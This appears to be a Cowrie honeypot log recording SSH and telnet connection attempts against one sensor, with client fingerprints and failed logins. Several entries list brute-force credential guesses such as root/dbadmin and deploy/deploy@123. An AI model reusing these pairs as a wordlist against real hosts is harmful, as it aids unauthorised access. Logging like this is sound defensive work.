{"eventid":"cowrie.login.failed","username":"root","password":"dbadmin","message":"login attempt [root/dbadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:47:50.843334Z","src_ip":"210.79.142.221","session":"774ab9fb3a1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.81","src_port":15106,"dst_ip":"159.203.135.109","dst_port":22,"session":"888b6f3fa6f0","protocol":"ssh","message":"New connection: 118.193.33.81:15106 (159.203.135.109:22) [session: 888b6f3fa6f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:47:50.865428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:47:50.870728Z","src_ip":"118.193.33.81","session":"888b6f3fa6f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:47:51.096076Z","src_ip":"118.193.33.81","session":"888b6f3fa6f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy@123","message":"login attempt [deploy/deploy@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:47:51.999916Z","src_ip":"118.193.33.81","session":"888b6f3fa6f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:47:52.089560Z","src_ip":"210.79.142.221","session":"774ab9fb3a1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:47:53.219351Z","src_ip":"118.193.33.81","session":"888b6f3fa6f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.42333960533142,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:47:55.144434Z","src_ip":"103.49.70.87","session":"393ebe95b223","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58932,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d3d7155d534","protocol":"ssh","message":"New connection: 159.203.92.129:58932 (159.203.135.109:22) [session: 5d3d7155d534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:48:02.242580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:48:02.247678Z","src_ip":"159.203.92.129","session":"5d3d7155d534","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:48:02.253481Z","src_ip":"159.203.92.129","session":"5d3d7155d534","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"any","password":"123456","message":"login attempt [any/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:48:02.265715Z","src_ip":"159.203.92.129","session":"5d3d7155d534","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:48:03.272334Z","src_ip":"159.203.92.129","session":"5d3d7155d534","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.81","src_port":36492,"dst_ip":"159.203.135.109","dst_port":22,"session":"5576eae6d12f","protocol":"ssh","message":"New connection: 118.193.33.81:36492 (159.203.135.109:22) [session: 5576eae6d12f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:48:47.126060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:48:47.130371Z","src_ip":"118.193.33.81","session":"5576eae6d12f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:48:47.348777Z","src_ip":"118.193.33.81","session":"5576eae6d12f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53360,"dst_ip":"159.203.135.109","dst_port":22,"session":"050e982cbd26","protocol":"ssh","message":"New connection: 159.203.92.129:53360 (159.203.135.109:22) [session: 050e982cbd26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:48:47.892202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:48:47.896623Z","src_ip":"159.203.92.129","session":"050e982cbd26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:48:47.900629Z","src_ip":"159.203.92.129","session":"050e982cbd26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"any","password":"123654","message":"login attempt [any/123654] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:48:47.911572Z","src_ip":"159.203.92.129","session":"050e982cbd26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123123!","message":"login attempt [root/Abc123123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:48:48.247072Z","src_ip":"118.193.33.81","session":"5576eae6d12f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:48:48.917017Z","src_ip":"159.203.92.129","session":"050e982cbd26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:48:49.470537Z","src_ip":"118.193.33.81","session":"5576eae6d12f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":51202,"dst_ip":"159.203.135.109","dst_port":23,"session":"604acab46f11","protocol":"telnet","message":"New connection: 185.26.126.47:51202 (159.203.135.109:23) [session: 604acab46f11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:49:25.756212Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41910,"dst_ip":"159.203.135.109","dst_port":22,"session":"daa2fd8185ac","protocol":"ssh","message":"New connection: 159.203.92.129:41910 (159.203.135.109:22) [session: daa2fd8185ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:49:31.910332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:49:31.915039Z","src_ip":"159.203.92.129","session":"daa2fd8185ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:49:31.919850Z","src_ip":"159.203.92.129","session":"daa2fd8185ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"any","password":"any","message":"login attempt [any/any] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:49:31.930730Z","src_ip":"159.203.92.129","session":"daa2fd8185ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:49:32.936560Z","src_ip":"159.203.92.129","session":"daa2fd8185ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.81","src_port":30666,"dst_ip":"159.203.135.109","dst_port":22,"session":"430cc2025dd3","protocol":"ssh","message":"New connection: 118.193.33.81:30666 (159.203.135.109:22) [session: 430cc2025dd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:49:41.293844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:49:41.299964Z","src_ip":"118.193.33.81","session":"430cc2025dd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:49:41.514607Z","src_ip":"118.193.33.81","session":"430cc2025dd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456Mx","message":"login attempt [root/123456Mx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:49:42.410312Z","src_ip":"118.193.33.81","session":"430cc2025dd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:49:43.633715Z","src_ip":"118.193.33.81","session":"430cc2025dd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.42733645439148,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:50:07.183429Z","src_ip":"185.26.126.47","session":"604acab46f11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44678,"dst_ip":"159.203.135.109","dst_port":22,"session":"95f20dd091a9","protocol":"ssh","message":"New connection: 159.203.92.129:44678 (159.203.135.109:22) [session: 95f20dd091a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:50:16.154138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:50:16.159142Z","src_ip":"159.203.92.129","session":"95f20dd091a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:50:16.164985Z","src_ip":"159.203.92.129","session":"95f20dd091a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anya","password":"123456","message":"login attempt [anya/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:50:16.183905Z","src_ip":"159.203.92.129","session":"95f20dd091a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:50:17.192124Z","src_ip":"159.203.92.129","session":"95f20dd091a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.81","src_port":33694,"dst_ip":"159.203.135.109","dst_port":22,"session":"bed81fa036ab","protocol":"ssh","message":"New connection: 118.193.33.81:33694 (159.203.135.109:22) [session: bed81fa036ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:50:34.238853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:50:34.243457Z","src_ip":"118.193.33.81","session":"bed81fa036ab","protocol":"ssh"}
